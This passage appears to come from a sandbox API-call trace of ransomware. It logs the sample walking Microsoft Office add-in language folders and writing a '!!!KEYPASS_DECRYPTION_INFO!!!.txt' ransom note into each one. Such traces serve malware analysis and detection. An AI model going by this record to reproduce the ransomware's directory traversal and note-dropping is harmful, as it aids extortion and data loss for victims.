hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap") returned=".xap" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.136] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.137] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.137] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.137] GetLastError () returned 0x3f0 [0251.137] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.137] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0251.171] GetFileType (hFile=0x810) returned 0x1 [0251.171] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.171] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.171] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.171] WriteFile (in: hFile=0x810, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.172] WriteFile (in: hFile=0x810, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.172] CloseHandle (hObject=0x810) returned 1 [0251.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900270 [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\AdHocReportingExcelClient.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\PowerViewRes.lv.xap") returned=".xap" [0251.173] FindNextFileW (in: hFindFile=0x3900270, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.173] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.173] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.PowerBI.AdomdClient.dll") returned=".dll" [0251.173] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.PowerBI.AdomdDataExtension.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.PowerBI.Diagnostics.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap") returned=".xap" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.Common.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.AdHoc.Excel.Client.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.AdHoc.Excel.Client.Entry.Interfaces.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.Authorization.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.Interfaces.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.ReportingServices.ProgressiveProcessing.dll") returned=".dll" [0251.174] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.174] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.174] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.174] GetLastError () returned 0x3f0 [0251.174] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.174] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0251.210] GetFileType (hFile=0x814) returned 0x1 [0251.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.210] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.210] WriteFile (in: hFile=0x814, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.211] WriteFile (in: hFile=0x814, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.211] CloseHandle (hObject=0x814) returned 1 [0251.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39002b0 [0251.211] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.211] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.211] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\AdHocReportingExcelClient.dll") returned=".dll" [0251.211] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.211] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.211] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.212] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.212] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.212] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.212] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap") returned=".xap" [0251.212] FindNextFileW (in: hFindFile=0x39002b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.212] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.212] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.212] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.212] GetLastError () returned 0x3f0 [0251.212] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.212] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0251.229] GetFileType (hFile=0x818) returned 0x1 [0251.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.229] WriteFile (in: hFile=0x818, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.230] WriteFile (in: hFile=0x818, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.230] CloseHandle (hObject=0x818) returned 1 [0251.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900770 [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\AdHocReportingExcelClient.dll") returned=".dll" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap") returned=".xap" [0251.231] FindNextFileW (in: hFindFile=0x3900770, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.231] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.231] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.231] GetLastError () returned 0x3f0 [0251.231] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.231] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x808 [0251.247] GetFileType (hFile=0x808) returned 0x1 [0251.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.247] WriteFile (in: hFile=0x808, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.248] WriteFile (in: hFile=0x808, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.248] CloseHandle (hObject=0x808) returned 1 [0251.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39007f0 [0251.248] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.248] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.248] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\AdHocReportingExcelClient.dll") returned=".dll" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\PowerViewRes.no.xap") returned=".xap" [0251.249] FindNextFileW (in: hFindFile=0x39007f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.249] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.249] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.249] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.249] GetLastError () returned 0x3f0 [0251.249] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.249] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x81c [0251.275] GetFileType (hFile=0x81c) returned 0x1 [0251.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: 